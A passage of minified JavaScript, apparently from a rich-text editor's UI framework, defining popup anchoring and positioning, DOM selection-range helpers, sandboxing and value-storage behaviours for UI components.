scrollTop) { return point.translate(-scrollLeft, -scrollTop); }); }; var toAbsolute = function (pos) { return pos.fold(identity$1, identity$1); }; var sum = function (points) { return foldl(points, function (b, a) { return b.translate(a.left, a.top); }, SugarPosition(0, 0)); }; var sumAsFixed = function (positions) { var points = map$2(positions, toFixed); return sum(points); }; var sumAsAbsolute = function (positions) { var points = map$2(positions, toAbsolute); return sum(points); }; var screen = adt$7.screen; var absolute$1 = adt$7.absolute; var getOffset = function (component, origin, anchorInfo) { var win = defaultView(anchorInfo.root).dom; var hasSameOwner = function (frame) { var frameOwner = owner$4(frame); var compOwner = owner$4(component.element); return eq(frameOwner, compOwner); }; return Optional.from(win.frameElement).map(SugarElement.fromDom).filter(hasSameOwner).map(absolute$3); }; var getRootPoint = function (component, origin, anchorInfo) { var doc = owner$4(component.element); var outerScroll = get$9(doc); var offset = getOffset(component, origin, anchorInfo).getOr(outerScroll); return absolute$1(offset, outerScroll.left, outerScroll.top); }; var getBox = function (left, top, width, height) { var point = screen(SugarPosition(left, top)); return Optional.some(pointed(point, width, height)); }; var calcNewAnchor = function (optBox, rootPoint, anchorInfo, origin, elem) { return optBox.map(function (box) { var points = [ rootPoint, box.point ]; var topLeft = cata$1(origin, function () { return sumAsAbsolute(points); }, function () { return sumAsAbsolute(points); }, function () { return sumAsFixed(points); }); var anchorBox = rect(topLeft.left, topLeft.top, box.width, box.height); var layoutsLtr = anchorInfo.showAbove ? aboveOrBelow() : belowOrAbove(); var layoutsRtl = anchorInfo.showAbove ? aboveOrBelowRtl() : belowOrAboveRtl(); var layouts = get$4(elem, anchorInfo, layoutsLtr, layoutsRtl, layoutsLtr, layoutsRtl, Optional.none()); return nu$4({ anchorBox: anchorBox, bubble: anchorInfo.bubble.getOr(fallback()), overrides: anchorInfo.overrides, layouts: layouts, placer: Optional.none() }); }); }; var placement$2 = function (component, anchorInfo, origin) { var rootPoint = getRootPoint(component, origin, anchorInfo); return anchorInfo.node.filter(inBody).bind(function (target) { var rect = target.dom.getBoundingClientRect(); var nodeBox = getBox(rect.left, rect.top, rect.width, rect.height); var elem = anchorInfo.node.getOr(component.element); return calcNewAnchor(nodeBox, rootPoint, anchorInfo, origin, elem); }); }; var NodeAnchor = [ required$1('node'), required$1('root'), option('bubble'), schema$y(), defaulted('overrides', {}), defaulted('showAbove', false), output$1('placement', placement$2) ]; var zeroWidth = '\uFEFF'; var nbsp = '\xA0'; var create$6 = function (start, soffset, finish, foffset) { return { start: start, soffset: soffset, finish: finish, foffset: foffset }; }; var SimRange = { create: create$6 }; var adt$6 = Adt.generate([ { before: ['element'] }, { on: [ 'element', 'offset' ] }, { after: ['element'] } ]); var cata = function (subject, onBefore, onOn, onAfter) { return subject.fold(onBefore, onOn, onAfter); }; var getStart$1 = function (situ) { return situ.fold(identity$1, identity$1, identity$1); }; var before = adt$6.before; var on$1 = adt$6.on; var after$1 = adt$6.after; var Situ = { before: before, on: on$1, after: after$1, cata: cata, getStart: getStart$1 }; var adt$5 = Adt.generate([ { domRange: ['rng'] }, { relative: [ 'startSitu', 'finishSitu' ] }, { exact: [ 'start', 'soffset', 'finish', 'foffset' ] } ]); var exactFromRange = function (simRange) { return adt$5.exact(simRange.start, simRange.soffset, simRange.finish, simRange.foffset); }; var getStart = function (selection) { return selection.match({ domRange: function (rng) { return SugarElement.fromDom(rng.startContainer); }, relative: function (startSitu, _finishSitu) { return Situ.getStart(startSitu); }, exact: function (start, _soffset, _finish, _foffset) { return start; } }); }; var domRange = adt$5.domRange; var relative = adt$5.relative; var exact = adt$5.exact; var getWin = function (selection) { var start = getStart(selection); return defaultView(start); }; var range$1 = SimRange.create; var SimSelection = { domRange: domRange, relative: relative, exact: exact, exactFromRange: exactFromRange, getWin: getWin, range: range$1 }; var setStart = function (rng, situ) { situ.fold(function (e) { rng.setStartBefore(e.dom); }, function (e, o) { rng.setStart(e.dom, o); }, function (e) { rng.setStartAfter(e.dom); }); }; var setFinish = function (rng, situ) { situ.fold(function (e) { rng.setEndBefore(e.dom); }, function (e, o) { rng.setEnd(e.dom, o); }, function (e) { rng.setEndAfter(e.dom); }); }; var relativeToNative = function (win, startSitu, finishSitu) { var range = win.document.createRange(); setStart(range, startSitu); setFinish(range, finishSitu); return range; }; var exactToNative = function (win, start, soffset, finish, foffset) { var rng = win.document.createRange(); rng.setStart(start.dom, soffset); rng.setEnd(finish.dom, foffset); return rng; }; var toRect = function (rect) { return { left: rect.left, top: rect.top, right: rect.right, bottom: rect.bottom, width: rect.width, height: rect.height }; }; var getFirstRect$1 = function (rng) { var rects = rng.getClientRects(); var rect = rects.length > 0 ? rects[0] : rng.getBoundingClientRect(); return rect.width > 0 || rect.height > 0 ? Optional.some(rect).map(toRect) : Optional.none(); }; var getBounds$2 = function (rng) { var rect = rng.getBoundingClientRect(); return rect.width > 0 || rect.height > 0 ? Optional.some(rect).map(toRect) : Optional.none(); }; var adt$4 = Adt.generate([ { ltr: [ 'start', 'soffset', 'finish', 'foffset' ] }, { rtl: [ 'start', 'soffset', 'finish', 'foffset' ] } ]); var fromRange = function (win, type, range) { return type(SugarElement.fromDom(range.startContainer), range.startOffset, SugarElement.fromDom(range.endContainer), range.endOffset); }; var getRanges = function (win, selection) { return selection.match({ domRange: function (rng) { return { ltr: constant$1(rng), rtl: Optional.none }; }, relative: function (startSitu, finishSitu) { return { ltr: cached(function () { return relativeToNative(win, startSitu, finishSitu); }), rtl: cached(function () { return Optional.some(relativeToNative(win, finishSitu, startSitu)); }) }; }, exact: function (start, soffset, finish, foffset) { return { ltr: cached(function () { return exactToNative(win, start, soffset, finish, foffset); }), rtl: cached(function () { return Optional.some(exactToNative(win, finish, foffset, start, soffset)); }) }; } }); }; var doDiagnose = function (win, ranges) { var rng = ranges.ltr(); if (rng.collapsed) { var reversed = ranges.rtl().filter(function (rev) { return rev.collapsed === false; }); return reversed.map(function (rev) { return adt$4.rtl(SugarElement.fromDom(rev.endContainer), rev.endOffset, SugarElement.fromDom(rev.startContainer), rev.startOffset); }).getOrThunk(function () { return fromRange(win, adt$4.ltr, rng); }); } else { return fromRange(win, adt$4.ltr, rng); } }; var diagnose = function (win, selection) { var ranges = getRanges(win, selection); return doDiagnose(win, ranges); }; var asLtrRange = function (win, selection) { var diagnosis = diagnose(win, selection); return diagnosis.match({ ltr: function (start, soffset, finish, foffset) { var rng = win.document.createRange(); rng.setStart(start.dom, soffset); rng.setEnd(finish.dom, foffset); return rng; }, rtl: function (start, soffset, finish, foffset) { var rng = win.document.createRange(); rng.setStart(finish.dom, foffset); rng.setEnd(start.dom, soffset); return rng; } }); }; adt$4.ltr; adt$4.rtl; var NodeValue = function (is, name) { var get = function (element) { if (!is(element)) { throw new Error('Can only get ' + name + ' value of a ' + name + ' node'); } return getOption(element).getOr(''); }; var getOption = function (element) { return is(element) ? Optional.from(element.dom.nodeValue) : Optional.none(); }; var set = function (element, value) { if (!is(element)) { throw new Error('Can only set raw ' + name + ' value of a ' + name + ' node'); } element.dom.nodeValue = value; }; return { get: get, getOption: getOption, set: set }; }; var api = NodeValue(isText$1, 'text'); var get$3 = function (element) { return api.get(element); }; var getOption = function (element) { return api.getOption(element); }; var getEnd = function (element) { return name$2(element) === 'img' ? 1 : getOption(element).fold(function () { return children(element).length; }, function (v) { return v.length; }); }; var isTextNodeWithCursorPosition = function (el) { return getOption(el).filter(function (text) { return text.trim().length !== 0 || text.indexOf(nbsp) > -1; }).isSome(); }; var elementsWithCursorPosition = [ 'img', 'br' ]; var isCursorPosition = function (elem) { var hasCursorPosition = isTextNodeWithCursorPosition(elem); return hasCursorPosition || contains$2(elementsWithCursorPosition, name$2(elem)); }; var last$1 = function (element) { return descendantRtl(element, isCursorPosition); }; var descendantRtl = function (scope, predicate) { var descend = function (element) { var children$1 = children(element); for (var i = children$1.length - 1; i >= 0; i--) { var child = children$1[i]; if (predicate(child)) { return Optional.some(child); } var res = descend(child); if (res.isSome()) { return res; } } return Optional.none(); }; return descend(scope); }; var descendants = function (scope, selector) { return all$3(selector, scope); }; var makeRange = function (start, soffset, finish, foffset) { var doc = owner$4(start); var rng = doc.dom.createRange(); rng.setStart(start.dom, soffset); rng.setEnd(finish.dom, foffset); return rng; }; var after = function (start, soffset, finish, foffset) { var r = makeRange(start, soffset, finish, foffset); var same = eq(start, finish) && soffset === foffset; return r.collapsed && !same; }; var getNativeSelection = function (win) { return Optional.from(win.getSelection()); }; var readRange = function (selection) { if (selection.rangeCount > 0) { var firstRng = selection.getRangeAt(0); var lastRng = selection.getRangeAt(selection.rangeCount - 1); return Optional.some(SimRange.create(SugarElement.fromDom(firstRng.startContainer), firstRng.startOffset, SugarElement.fromDom(lastRng.endContainer), lastRng.endOffset)); } else { return Optional.none(); } }; var doGetExact = function (selection) { if (selection.anchorNode === null || selection.focusNode === null) { return readRange(selection); } else { var anchor = SugarElement.fromDom(selection.anchorNode); var focus_1 = SugarElement.fromDom(selection.focusNode); return after(anchor, selection.anchorOffset, focus_1, selection.focusOffset) ? Optional.some(SimRange.create(anchor, selection.anchorOffset, focus_1, selection.focusOffset)) : readRange(selection); } }; var getExact = function (win) { return getNativeSelection(win).filter(function (sel) { return sel.rangeCount > 0; }).bind(doGetExact); }; var getFirstRect = function (win, selection) { var rng = asLtrRange(win, selection); return getFirstRect$1(rng); }; var getBounds$1 = function (win, selection) { var rng = asLtrRange(win, selection); return getBounds$2(rng); }; var point$1 = function (element, offset) { return { element: element, offset: offset }; }; var descendOnce$1 = function (element, offset) { var children$1 = children(element); if (children$1.length === 0) { return point$1(element, offset); } else if (offset < children$1.length) { return point$1(children$1[offset], 0); } else { var last = children$1[children$1.length - 1]; var len = isText$1(last) ? get$3(last).length : children(last).length; return point$1(last, len); } }; var descendOnce = function (element, offset) { return isText$1(element) ? point$1(element, offset) : descendOnce$1(element, offset); }; var getAnchorSelection = function (win, anchorInfo) { var getSelection = anchorInfo.getSelection.getOrThunk(function () { return function () { return getExact(win); }; }); return getSelection().map(function (sel) { var modStart = descendOnce(sel.start, sel.soffset); var modFinish = descendOnce(sel.finish, sel.foffset); return SimSelection.range(modStart.element, modStart.offset, modFinish.element, modFinish.offset); }); }; var placement$1 = function (component, anchorInfo, origin) { var win = defaultView(anchorInfo.root).dom; var rootPoint = getRootPoint(component, origin, anchorInfo); var selectionBox = getAnchorSelection(win, anchorInfo).bind(function (sel) { var optRect = getBounds$1(win, SimSelection.exactFromRange(sel)).orThunk(function () { var x = SugarElement.fromText(zeroWidth); before$2(sel.start, x); var rect = getFirstRect(win, SimSelection.exact(x, 0, x, 1)); remove$5(x); return rect; }); return optRect.bind(function (rawRect) { return getBox(rawRect.left, rawRect.top, rawRect.width, rawRect.height); }); }); var targetElement = getAnchorSelection(win, anchorInfo).bind(function (sel) { return isElement$2(sel.start) ? Optional.some(sel.start) : parentNode(sel.start); }); var elem = targetElement.getOr(component.element); return calcNewAnchor(selectionBox, rootPoint, anchorInfo, origin, elem); }; var SelectionAnchor = [ option('getSelection'), required$1('root'), option('bubble'), schema$y(), defaulted('overrides', {}), defaulted('showAbove', false), output$1('placement', placement$1) ]; var labelPrefix$1 = 'link-layout'; var eastX = function (anchor) { return anchor.x + anchor.width; }; var westX = function (anchor, element) { return anchor.x - element.width; }; var northY$1 = function (anchor, element) { return anchor.y - element.height + anchor.height; }; var southY$1 = function (anchor) { return anchor.y; }; var southeast$1 = function (anchor, element, bubbles) { return nu$6(eastX(anchor), southY$1(anchor), bubbles.southeast(), southeast$3(), 'southeast', boundsRestriction(anchor, { left: 0, top: 2 }), labelPrefix$1); }; var southwest$1 = function (anchor, element, bubbles) { return nu$6(westX(anchor, element), southY$1(anchor), bubbles.southwest(), southwest$3(), 'southwest', boundsRestriction(anchor, { right: 1, top: 2 }), labelPrefix$1); }; var northeast$1 = function (anchor, element, bubbles) { return nu$6(eastX(anchor), northY$1(anchor, element), bubbles.northeast(), northeast$3(), 'northeast', boundsRestriction(anchor, { left: 0, bottom: 3 }), labelPrefix$1); }; var northwest$1 = function (anchor, element, bubbles) { return nu$6(westX(anchor, element), northY$1(anchor, element), bubbles.northwest(), northwest$3(), 'northwest', boundsRestriction(anchor, { right: 1, bottom: 3 }), labelPrefix$1); }; var all = function () { return [ southeast$1, southwest$1, northeast$1, northwest$1 ]; }; var allRtl = function () { return [ southwest$1, southeast$1, northwest$1, northeast$1 ]; }; var placement = function (component, submenuInfo, origin) { var anchorBox = toBox(origin, submenuInfo.item.element); var layouts = get$4(component.element, submenuInfo, all(), allRtl(), all(), allRtl(), Optional.none()); return Optional.some(nu$4({ anchorBox: anchorBox, bubble: fallback(), overrides: submenuInfo.overrides, layouts: layouts, placer: Optional.none() })); }; var SubmenuAnchor = [ required$1('item'), schema$y(), defaulted('overrides', {}), output$1('placement', placement) ]; var AnchorSchema = choose$1('type', { selection: SelectionAnchor, node: NodeAnchor, hotspot: HotspotAnchor, submenu: SubmenuAnchor, makeshift: MakeshiftAnchor }); var TransitionSchema = [ requiredArrayOf('classes', string), defaultedStringEnum('mode', 'all', [ 'all', 'layout', 'placement' ]) ]; var PositionSchema = [ defaulted('useFixed', never), option('getBounds') ]; var PlacementSchema = [ requiredOf('anchor', AnchorSchema), optionObjOf('transition', TransitionSchema) ]; var getFixedOrigin = function () { var html = document.documentElement; return fixed$1(0, 0, html.clientWidth, html.clientHeight); }; var getRelativeOrigin = function (component) { var position = absolute$3(component.element); var bounds = component.element.dom.getBoundingClientRect(); return relative$1(position.left, position.top, bounds.width, bounds.height); }; var place = function (component, origin, anchoring, getBounds, placee, lastPlace, transition) { var anchor = box(anchoring.anchorBox, origin); return simple(anchor, placee.element, anchoring.bubble, anchoring.layouts, lastPlace, getBounds, anchoring.overrides, transition); }; var position$1 = function (component, posConfig, posState, placee, placementSpec) { positionWithin(component, posConfig, posState, placee, placementSpec, Optional.none()); }; var positionWithin = function (component, posConfig, posState, placee, placementSpec, boxElement) { var boundsBox = boxElement.map(box$1); return positionWithinBounds(component, posConfig, posState, placee, placementSpec, boundsBox); }; var positionWithinBounds = function (component, posConfig, posState, placee, placementSpec, bounds) { var placeeDetail = asRawOrDie$1('placement.info', objOf(PlacementSchema), placementSpec); var anchorage = placeeDetail.anchor; var element = placee.element; var placeeState = posState.get(placee.uid); preserve$1(function () { set$7(element, 'position', 'fixed'); var oldVisibility = getRaw(element, 'visibility'); set$7(element, 'visibility', 'hidden'); var origin = posConfig.useFixed() ? getFixedOrigin() : getRelativeOrigin(component); var placer = anchorage.placement; var getBounds = bounds.map(constant$1).or(posConfig.getBounds); placer(component, anchorage, origin).each(function (anchoring) { var doPlace = anchoring.placer.getOr(place); var newState = doPlace(component, origin, anchoring, getBounds, placee, placeeState, placeeDetail.transition); posState.set(placee.uid, newState); }); oldVisibility.fold(function () { remove$6(element, 'visibility'); }, function (vis) { set$7(element, 'visibility', vis); }); if (getRaw(element, 'left').isNone() && getRaw(element, 'top').isNone() && getRaw(element, 'right').isNone() && getRaw(element, 'bottom').isNone() && is$1(getRaw(element, 'position'), 'fixed')) { remove$6(element, 'position'); } }, element); }; var getMode = function (component, pConfig, _pState) { return pConfig.useFixed() ? 'fixed' : 'absolute'; }; var reset$1 = function (component, pConfig, posState, placee) { var element = placee.element; each$1([ 'position', 'left', 'right', 'top', 'bottom' ], function (prop) { return remove$6(element, prop); }); reset$2(element); posState.clear(placee.uid); }; var PositionApis = /*#__PURE__*/Object.freeze({ __proto__: null, position: position$1, positionWithin: positionWithin, positionWithinBounds: positionWithinBounds, getMode: getMode, reset: reset$1 }); var init$g = function () { var state = {}; var set = function (id, data) { state[id] = data; }; var get = function (id) { return get$e(state, id); }; var clear = function (id) { if (isNonNullable(id)) { delete state[id]; } else { state = {}; } }; return nu$8({ readState: function () { return state; }, clear: clear, set: set, get: get }); }; var PositioningState = /*#__PURE__*/Object.freeze({ __proto__: null, init: init$g }); var Positioning = create$7({ fields: PositionSchema, name: 'positioning', active: ActivePosition, apis: PositionApis, state: PositioningState }); var fireDetaching = function (component) { emit(component, detachedFromDom()); var children = component.components(); each$1(children, fireDetaching); }; var fireAttaching = function (component) { var children = component.components(); each$1(children, fireAttaching); emit(component, attachedToDom()); }; var attach$1 = function (parent, child) { append$2(parent.element, child.element); }; var detachChildren$1 = function (component) { each$1(component.components(), function (childComp) { return remove$5(childComp.element); }); empty(component.element); component.syncComponents(); }; var replaceChildren = function (component, newChildren) { var subs = component.components(); detachChildren$1(component); var deleted = difference(subs, newChildren); each$1(deleted, function (comp) { fireDetaching(comp); component.getSystem().removeFromWorld(comp); }); each$1(newChildren, function (childComp) { if (!childComp.getSystem().isConnected()) { component.getSystem().addToWorld(childComp); attach$1(component, childComp); if (inBody(component.element)) { fireAttaching(childComp); } } else { attach$1(component, childComp); } component.syncComponents(); }); }; var attach = function (parent, child) { attachWith(parent, child, append$2); }; var attachWith = function (parent, child, insertion) { parent.getSystem().addToWorld(child); insertion(parent.element, child.element); if (inBody(parent.element)) { fireAttaching(child); } parent.syncComponents(); }; var doDetach = function (component) { fireDetaching(component); remove$5(component.element); component.getSystem().removeFromWorld(component); }; var detach = function (component) { var parent$1 = parent(component.element).bind(function (p) { return component.getSystem().getByDom(p).toOptional(); }); doDetach(component); parent$1.each(function (p) { p.syncComponents(); }); }; var detachChildren = function (component) { var subs = component.components(); each$1(subs, doDetach); empty(component.element); component.syncComponents(); }; var attachSystem = function (element, guiSystem) { attachSystemWith(element, guiSystem, append$2); }; var attachSystemAfter = function (element, guiSystem) { attachSystemWith(element, guiSystem, after$2); }; var attachSystemWith = function (element, guiSystem, inserter) { inserter(element, guiSystem.element); var children$1 = children(guiSystem.element); each$1(children$1, function (child) { guiSystem.getByDom(child).each(fireAttaching); }); }; var detachSystem = function (guiSystem) { var children$1 = children(guiSystem.element); each$1(children$1, function (child) { guiSystem.getByDom(child).each(fireDetaching); }); remove$5(guiSystem.element); }; var rebuild = function (sandbox, sConfig, sState, data) { sState.get().each(function (_data) { detachChildren(sandbox); }); var point = sConfig.getAttachPoint(sandbox); attach(point, sandbox); var built = sandbox.getSystem().build(data); attach(sandbox, built); sState.set(built); return built; }; var open$1 = function (sandbox, sConfig, sState, data) { var newState = rebuild(sandbox, sConfig, sState, data); sConfig.onOpen(sandbox, newState); return newState; }; var setContent = function (sandbox, sConfig, sState, data) { return sState.get().map(function () { return rebuild(sandbox, sConfig, sState, data); }); }; var openWhileCloaked = function (sandbox, sConfig, sState, data, transaction) { cloak(sandbox, sConfig); open$1(sandbox, sConfig, sState, data); transaction(); decloak(sandbox, sConfig); }; var close$1 = function (sandbox, sConfig, sState) { sState.get().each(function (data) { detachChildren(sandbox); detach(sandbox); sConfig.onClose(sandbox, data); sState.clear(); }); }; var isOpen$1 = function (_sandbox, _sConfig, sState) { return sState.isOpen(); }; var isPartOf = function (sandbox, sConfig, sState, queryElem) { return isOpen$1(sandbox, sConfig, sState) && sState.get().exists(function (data) { return sConfig.isPartOf(sandbox, data, queryElem); }); }; var getState$2 = function (_sandbox, _sConfig, sState) { return sState.get(); }; var store = function (sandbox, cssKey, attr, newValue) { getRaw(sandbox.element, cssKey).fold(function () { remove$7(sandbox.element, attr); }, function (v) { set$8(sandbox.element, attr, v); }); set$7(sandbox.element, cssKey, newValue); }; var restore = function (sandbox, cssKey, attr) { getOpt(sandbox.element, attr).fold(function () { return remove$6(sandbox.element, cssKey); }, function (oldValue) { return set$7(sandbox.element, cssKey, oldValue); }); }; var cloak = function (sandbox, sConfig, _sState) { var sink = sConfig.getAttachPoint(sandbox); set$7(sandbox.element, 'position', Positioning.getMode(sink)); store(sandbox, 'visibility', sConfig.cloakVisibilityAttr, 'hidden'); }; var hasPosition = function (element) { return exists([ 'top', 'left', 'right', 'bottom' ], function (pos) { return getRaw(element, pos).isSome(); }); }; var decloak = function (sandbox, sConfig, _sState) { if (!hasPosition(sandbox.element)) { remove$6(sandbox.element, 'position'); } restore(sandbox, 'visibility', sConfig.cloakVisibilityAttr); }; var SandboxApis = /*#__PURE__*/Object.freeze({ __proto__: null, cloak: cloak, decloak: decloak, open: open$1, openWhileCloaked: openWhileCloaked, close: close$1, isOpen: isOpen$1, isPartOf: isPartOf, getState: getState$2, setContent: setContent }); var events$g = function (sandboxConfig, sandboxState) { return derive$2([run$1(sandboxClose(), function (sandbox, _simulatedEvent) { close$1(sandbox, sandboxConfig, sandboxState); })]); }; var ActiveSandbox = /*#__PURE__*/Object.freeze({ __proto__: null, events: events$g }); var SandboxSchema = [ onHandler('onOpen'), onHandler('onClose'), required$1('isPartOf'), required$1('getAttachPoint'), defaulted('cloakVisibilityAttr', 'data-precloak-visibility') ]; var init$f = function () { var contents = value$1(); var readState = constant$1('not-implemented'); return nu$8({ readState: readState, isOpen: contents.isSet, clear: contents.clear, set: contents.set, get: contents.get }); }; var SandboxState = /*#__PURE__*/Object.freeze({ __proto__: null, init: init$f }); var Sandboxing = create$7({ fields: SandboxSchema, name: 'sandboxing', active: ActiveSandbox, apis: SandboxApis, state: SandboxState }); var dismissPopups = constant$1('dismiss.popups'); var repositionPopups = constant$1('reposition.popups'); var mouseReleased = constant$1('mouse.released'); var schema$x = objOfOnly([ defaulted('isExtraPart', never), optionObjOf('fireEventInstead', [defaulted('event', dismissRequested())]) ]); var receivingChannel$1 = function (rawSpec) { var _a; var detail = asRawOrDie$1('Dismissal', schema$x, rawSpec); return _a = {}, _a[dismissPopups()] = { schema: objOfOnly([required$1('target')]), onReceive: function (sandbox, data) { if (Sandboxing.isOpen(sandbox)) { var isPart = Sandboxing.isPartOf(sandbox, data.target) || detail.isExtraPart(sandbox, data.target); if (!isPart) { detail.fireEventInstead.fold(function () { return Sandboxing.close(sandbox); }, function (fe) { return emit(sandbox, fe.event); }); } } } }, _a; }; var schema$w = objOfOnly([ optionObjOf('fireEventInstead', [defaulted('event', repositionRequested())]), requiredFunction('doReposition') ]); var receivingChannel = function (rawSpec) { var _a; var detail = asRawOrDie$1('Reposition', schema$w, rawSpec); return _a = {}, _a[repositionPopups()] = { onReceive: function (sandbox) { if (Sandboxing.isOpen(sandbox)) { detail.fireEventInstead.fold(function () { return detail.doReposition(sandbox); }, function (fe) { return emit(sandbox, fe.event); }); } } }, _a; }; var onLoad$5 = function (component, repConfig, repState) { repConfig.store.manager.onLoad(component, repConfig, repState); }; var onUnload$2 = function (component, repConfig, repState) { repConfig.store.manager.onUnload(component, repConfig, repState); }; var setValue$3 = function (component, repConfig, repState, data) { repConfig.store.manager.setValue(component, repConfig, repState, data); }; var getValue$3 = function (component, repConfig, repState) { return repConfig.store.manager.getValue(component, repConfig, repState); }; var getState$1 = function (component, repConfig, repState) { return repState; }; var RepresentApis = /*#__PURE__*/Object.freeze({ __proto__: null, onLoad: onLoad$5, onUnload: onUnload$2, setValue: setValue$3, getValue: getValue$3, getState: getState$1 }); var events$f = function (repConfig, repState) { var es = repConfig.resetOnDom ? [ runOnAttached(function (comp, _se) { onLoad$5(comp, repConfig, repState); }), runOnDetached(function (comp, _se) { onUnload$2(comp, repConfig, repState); }) ] : [loadEvent(repConfig, repState, onLoad$5)]; return derive$2(es); }; var ActiveRepresenting = /*#__PURE__*/Object.freeze({ __proto__: null, events: events$f }); var memory$1 = function () { var data = Cell(null); var readState = function () { return { mode: 'memory', value: data.get() }; }; var isNotSet = function () { return data.get() === null; }; var clear = function () { data.set(null); }; return nu$8({ set: data.set, get: data.get, isNotSet: isNotSet, clear: clear, readState: readState }); }; var manual = function () { var readState = noop; return nu$8({ readState: readState }); }; var dataset = function () { var dataByValue = Cell({}); var dataByText = Cell({}); var readState = function () { return { mode: 'dataset', dataByValue: dataByValue.get(), dataByText: dataByText.get() }; }; var clear = function () { dataByValue.set({}); dataByText.set({}); }; var lookup = function (itemString) { return get$e(dataByValue.get(), itemString).orThunk(function () { return get$e(dataByText.get(), itemString); }); }; var update = function (items) { var currentDataByValue = dataByValue.get(); var currentDataByText = dataByText.get(); var newDataByValue = {}; var newDataByText = {}; each$1(items, function (item) { newDataByValue[item.value] = item; get$e(item, 'meta').each(function (meta) { get$e(meta, 'text').each(function (text) { newDataByText[text] = item; }); }); }); dataByValue.set(__assign(__assign({}, currentDataByValue), newDataByValue)); dataByText.set(__assign(__assign({}, currentDataByText), newDataByText)); }; return nu$8({ readState: readState, lookup: lookup, update: update, clear: clear }); }; var init$e = function (spec) { return spec.store.manager.state(spec); }; var RepresentState = /*#__PURE__*/Object.freeze({ __proto__: null, memory: memory$1, dataset: dataset, manual: manual, init: init$e }); var setValue$2 = function (component, repConfig, repState, data) { var store = repConfig.store; repState.update([data]); store.setValue(component, data); repConfig.onSetValue(component, data); }; var getValue$2 = function (component, repConfig, repState) { var store = repConfig.store; var key = store.getDataKey(component); return repState.lookup(key).getOrThunk(function () { return store.getFallbackEntry(key); }); }; var onLoad$4 = function (component, repConfig, repState) { var store = repConfig.store; store.initialValue.each(function (data) { setValue$2(component, repConfig, repState, data); }); }; var onUnload$1 = function (component, repConfig, repState) { repState.clear(); }; var DatasetStore = [ option('initialValue'), required$1('getFallbackEntry'), required$1('getDataKey'), required$1('setValue'), output$1('manager', { setValue: setValue$2, getValue: getValue$2, onLoad: onLoad$4, onUnload: onUnload$1, state: dataset }) ]; var getValue$1 = function (component, repConfig, _repState) { return repConfig.store.getValue(component); }; var setValue$1 = function (component, repConfig, _repState, data) { repConfig.store.setValue(component, data); repConfig.onSetValue(component, data); }; var onLoad$3 = function (component, repConfig, _repState) { repConfig.store.initialValue.each(function (data) { repConfig.store.setValue(component, data); }); }; var ManualStore = [ required$1('getValue'), defaulted('setValue', noop), option('initialValue'), output$1('manager', { setValue: setValue$1, getValue: getValue$1, onLoad: onLoad$3, onUnload: noop, state: NoState.init }) ]; var setValue = function (component, repConfig, repState, data) { repState.set(data); repConfig.onSetValue(component, data); }; var getValue = function (component, repConfig, repState) { return repState.get(); }; var onLoad$2 = function (component, repConfig, repState) { repConfig.store.initialValue.each(function (initVal) { if (repState.isNotSet()) { repState.set(initVal); } }); }; var onUnload = function (component, repConfig, repState) { repState.clear(); }; var MemoryStore = [ option('initialValue'), output$1('manager', { setValue: setValue, getValue: getValue, onLoad: onLoad$2, onUnload: onUnload, state: memory$1 }) ]; var RepresentSchema = [ defaultedOf('store', { mode: 'memory' }, choose$1('mode', { memory: MemoryStore, manual: ManualStore, dataset: DatasetStore })), onHandler('onSetValue'), defaulted('resetOnDom', false) ]; var Representing = create$7({ fields: RepresentSchema, name: 'representing', active: ActiveRepresenting, apis: RepresentApis, extra: { setValueFrom: function (component, source) { var value = Representing.getValue(source); Representing.setValue(component, value); } }, state: RepresentState }); var field = function (name, forbidden) { return defaultedObjOf(name, {}, map$2(forbidden, function (f) { return forbid(f.name(), 'Cannot configure ' + f.name() + ' for ' + name); }).concat([customField('dump', identity$1)])); }; var get$2 = function (data) { return data.dump; }; var augment = function (data, original) { return __assign(__assign({}, derive$1(original)), data.dump); }; var SketchBehaviours = { field: field, augment: augment, get: get$2 }; var _placeholder = 'placeholder'; var adt$3 = Adt.generate([ { single: [ 'required', 'valueThunk' ] }, { multiple: [ 'required', 'valueThunks' ] } ]); var isSubstituted = function (spec) { return has$2(spec, 'uiType'); }; var subPlaceholder = function (owner, detail, compSpec, placeholders) { if (owner.exists(function (o) { return o !== compSpec.owner; })) { return adt$3.single(true, constant$1(compSpec)); } return get$e(placeholders, compSpec.name).fold(function () { throw new Error('Unknown placeholder component: ' + compSpec.name + '\nKnown: [' + keys(placeholders) + ']\nNamespace: ' + owner.getOr('none') + '\nSpec: ' + JSON.stringify(compSpec, null, 2)); }, function (newSpec) { return newSpec.replace(); }); }; var scan = function (owner, detail, compSpec, placeholders) { if (isSubstituted(compSpec) && compSpec.uiType === _placeholder) { return subPlaceholder(owner, detail, compSpec, placeholders); } else { return adt$3.single(false, constant$1(compSpec)); } }; var substitute = function (owner, detail, compSpec, placeholders) { var base = scan(owner, detail, compSpec, placeholders); return base.fold(function (req, valueThunk) { var value = isSubstituted(compSpec) ? valueThunk(detail, compSpec.config, compSpec.validated) : valueThunk(detail); var childSpecs = get$e(value, 'components').getOr([]); var substituted = bind$3(childSpecs, function (c) { return substitute(owner, detail, c, placeholders); }); return [__assign(__assign({}, value), { components: substituted })]; }, function (req, valuesThunk) { if (isSubstituted(compSpec)) { var values = valuesThunk(detail, compSpec.config, compSpec.validated); var preprocessor = compSpec.validated.preprocess.getOr(identity$1); return preprocessor(values); } else { return valuesThunk(detail); } }); }; var substituteAll = function (owner, detail, components, placeholders) { return bind$3(components, function (c) { return substitute(owner, detail, c, placeholders); }); }; var oneReplace = function (label, replacements) { var called = false; var used = function () { return called; }; var replace = function () { if (called) { throw new Error('Trying to use the same placeholder more than once: ' + label); } called = true; return replacements; }; var required = function () { return replacements.fold(function (req, _) { return req; }, function (req, _) { return req; }); }; return { name: constant$1(label), required: required, used: used, replace: replace }; }; var substitutePlaces = function (owner, detail, components, placeholders) { var ps = map$1(placeholders, function (ph, name) { return oneReplace(name, ph); }); var outcome = substituteAll(owner, detail, components, ps); each(ps, function (p) { if (p.used() === false && p.required()) { throw new Error('Placeholder: ' + p.name() + ' was not found in components list\nNamespace: ' + owner.getOr('none') + '\nComponents: ' + JSON.stringify(detail.components, null, 2)); } }); return outcome; }; var single$2 = adt$3.single; var multiple = adt$3.multiple; var placeholder = constant$1(_placeholder); var adt$2 = Adt.generate([ { required: ['data'] }, { external: ['data'] }, { optional: ['data'] }, { group: ['data'] } ]); var fFactory = defaulted('factory', { sketch: identity$1 }); var fSchema = defaulted('schema', []); var fName = required$1('name'); var fPname = field$1('pname', 'pname', defaultedThunk(function (typeSpec) { return ''; }), anyValue()); var fGroupSchema = customField('schema', function () { return [option('preprocess')]; }); var fDefaults = defaulted('defaults', 